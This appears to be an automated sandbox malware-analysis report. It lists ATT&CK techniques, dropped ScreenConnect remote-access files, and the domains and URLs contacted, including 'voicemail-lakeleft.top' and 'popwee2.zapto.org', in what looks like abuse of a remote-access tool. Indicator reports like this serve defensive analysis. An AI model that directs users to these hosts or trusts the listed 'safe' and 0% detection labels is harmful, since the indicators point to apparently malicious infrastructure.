Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	51 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Hidden Users	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Bootkit	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.ClientService.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..core_4b14c015c87c1ad8_0018.0002_none_5411371a15332106\ScreenConnect.Core.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436\ScreenConnect.Windows.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..ient_4b14c015c87c1ad8_0018.0002_none_ea2694ec2482770a\ScreenConnect.Client.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471\ScreenConnect.ClientService.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Client.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.ClientService.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.ClientService.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Core.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Windows.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsBackstageShell.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsClient.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsFileManager.exe	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsClient.exe.config:	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationYDataer	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applications_	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationX	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.ClientService.dll~	0%	Avira URL Cloud	safe
http://voicemail-lakeleft.top	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application%	0%	Avira URL Cloud	safe
https://login.ecur	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.ClientService.dll6	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applications_ecture=msil;	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application#ScreeP	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationY;	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationt	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application#ScreenConnect.WindowVF	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationg=	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationO$	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationre=msil	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.ClientService.exeG	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applications_4c015cY	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsBackstageShell.exed	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application#Scree	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
voicemail-lakeleft.top	194.59.30.201	true	false	unknown
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
popwee2.zapto.org	194.59.30.201	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high

Contacted URLs

Name	Malicious	Reputation
https://voicemail-lakeleft.top/Bin/ScreenConnect.Core.dll	false	high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Windows.dll	false	high
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsClient.exe.config	false	high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.dll	false	high
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsBackstageShell.exe	false	high
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsClient.exe	false	high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.manifest	false	high
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsFileManager.exe.config	false	high
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsFileManager.exe	false	high
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsBackstageShell.exe.config	false	high
https://voicemail-lakeleft.top/Bin/ScreenConnect.ClientService.exe	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/ws/2005/02/sc.com	svchost.exe, 00000007.00000002.3288771862.0000021CA2737000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationYDataer	dfsvc.exe, 00000002.00000002.2983207645.0000025D39609000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-8	svchost.exe, 00000007.00000003.2195961016.0000021CA2776000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2196025067.0000021CA2779000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/msangcwamvice	svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000006.00000003.2070539133.0000016BAB740000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr, edb.log.6.dr	false		high
https://login.microsoftonline.com/ppsecure/ResolveUser.srf	svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/tbA	svchost.exe, 00000007.00000003.2195961016.0000021CA2776000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2196025067.0000021CA2779000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=popwee2.zapt	S5L60WDT.log.2.dr	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdA	svchost.exe, 00000007.00000003.2247242925.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2211022757.0000021CA270F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2180029091.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2247172340.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2159753613.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2230521797.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2230497548.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2261678290.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288647499.0000021CA2710000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2180103259.0000021CA2710000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2195977302.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2261895175.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2230100183.0000021CA2708000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2159831592.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2210994178.0000021CA2707000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2159724549.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policyc	svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.ClientSer	dfsvc.exe, 00000002.00000002.2973425425.0000025D1DDBC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.C	dfsvc.exe, 00000002.00000002.2973425425.0000025D1DA82000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAA	svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAAA	svchost.exe, 00000007.00000003.2179818124.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/devicechangecredential.srf	svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsClient.exe.config:	dfsvc.exe, 00000002.00000002.2981642219.0000025D37CFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf.	svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAAA	svchost.exe, 00000007.00000003.2195961016.0000021CA2776000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf	svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.ClientService.dll~	dfsvc.exe, 00000002.00000002.2981524853.0000025D37CE5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/InlineSignup.aspx?iww=1&id=80502	svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	dfsvc.exe, 00000002.00000002.2973425425.0000025D1D6CA000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000B.00000002.3289893133.0000000001FAD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://Passport.NET/tb_	svchost.exe, 00000007.00000002.3289318932.0000021CA2E48000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ns.adobe.c	dfsvc.exe, 00000002.00000002.2981098182.0000025D365DF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceAssociate.srfJ	svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/msangcwam	svchost.exe, 00000007.00000003.2075651104.0000021CA2757000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.w3.or	dfsvc.exe, 00000002.00000002.2973425425.0000025D1DCD6000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DD3C000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1D9AB000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DCB3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000006.00000002.3290128804.0000016BAB800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://passport.net/tb	svchost.exe, 00000007.00000002.3289021215.0000021CA2E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287754329.0000021CA1E81000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288225105.0000021CA1EEE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3289318932.0000021CA2E48000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationX	ScreenConnect.WindowsClient.exe, 00000009.00000002.2447762978.0000000002EAF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trustf1p	svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issueue	svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applications_	dfsvc.exe, 00000002.00000002.2983207645.0000025D39609000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application%	dfsvc.exe, 00000002.00000002.2983530978.0000025D396A1000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2447348607.00000000011D0000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2450614110.000000001B870000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://voicemail-lakeleft.top/Bin/ScreenConnect.Windo	dfsvc.exe, 00000002.00000002.2973425425.0000025D1DE0A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.ClientService.dll6	dfsvc.exe, 00000002.00000002.2981524853.0000025D37CE5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAA	svchost.exe, 00000007.00000003.2195961016.0000021CA2776000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	svchost.exe, 00000007.00000002.3288119180.0000021CA1ED3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top	dfsvc.exe, 00000002.00000002.2973425425.0000025D1D916000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DB2A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DDBC000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DE0A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DA82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.ecur	svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/Wizard/Password/Change?id=806014	svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://voicemail-lakeleft.top	dfsvc.exe, 00000002.00000002.2973425425.0000025D1DDBC000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DE0A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DA82000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application#ScreenConnect.WindowsClient.appl	ScreenConnect.WindowsClient.exe, 00000009.00000002.2447543283.00000000014B4000.00000004.00000020.00020000.00000000.sdmp, S5L60WDT.log.2.dr	false		high
https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf	svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application	dfsvc.exe, 00000002.00000002.2979497354.0000025D35E86000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2982317556.0000025D39540000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2981642219.0000025D37CFE000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1D9AB000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2972728761.0000025D1BCD3000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2983207645.0000025D39609000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2447762978.0000000002EA1000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2447762978.0000000002EAF000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2450825979.000000001B8AA000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2446849268.000000000116F000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2451144546.000000001B8F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applications_ecture=msil;	dfsvc.exe, 00000002.00000002.2983207645.0000025D39609000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/scr	svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAA	svchost.exe, 00000007.00000003.2195961016.0000021CA2776000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2196025067.0000021CA2779000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2179818124.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceQuery.srf	svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/MSARST2.srf	svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/STS	svchost.exe, 00000007.00000003.2195961016.0000021CA2776000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2196025067.0000021CA2779000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288974321.0000021CA2782000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceQuery.srf-	svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf%	svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application#ScreeP	dfsvc.exe, 00000002.00000002.2973425425.0000025D1D9AB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.xrml.org/schema/2001/11/xrml2coreS	dfsvc.exe, 00000002.00000002.2973425425.0000025D1D740000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/28	svchost.exe, 00000007.00000003.2195961016.0000021CA2776000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2196025067.0000021CA2779000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAA	svchost.exe, 00000007.00000003.2195961016.0000021CA2776000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2196025067.0000021CA2779000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issuels	svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.w3.o	dfsvc.exe, 00000002.00000002.2973425425.0000025D1DCB3000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DC69000.00000004.00000800.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationY;	ScreenConnect.WindowsClient.exe, 00000009.00000002.2450825979.000000001B8AA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://Passport.NET/tb	svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288974321.0000021CA2782000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	svchost.exe, 00000007.00000003.2120640258.0000021CA2E1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2195961016.0000021CA2776000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationt	dfsvc.exe, 00000002.00000002.2983207645.0000025D39609000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd	svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/devicechangecredential.srfMM	svchost.exe, 00000007.00000003.2075737545.0000021CA2727000.00000004.00000020.00020000.00000000.sdmp	false		high
https://signup.live.com/signup.aspx	svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA272C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application#ScreenConnect.WindowVF	dfsvc.exe, 00000002.00000002.2983530978.0000025D396A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationre=msil	dfsvc.exe, 00000002.00000002.2983207645.0000025D39609000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80601	svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287628866.0000021CA1E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2076123454.0000021CA2756000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80600	svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287628866.0000021CA1E2B000.00000004.00000020.00020000.00000000.sdmp	false		high
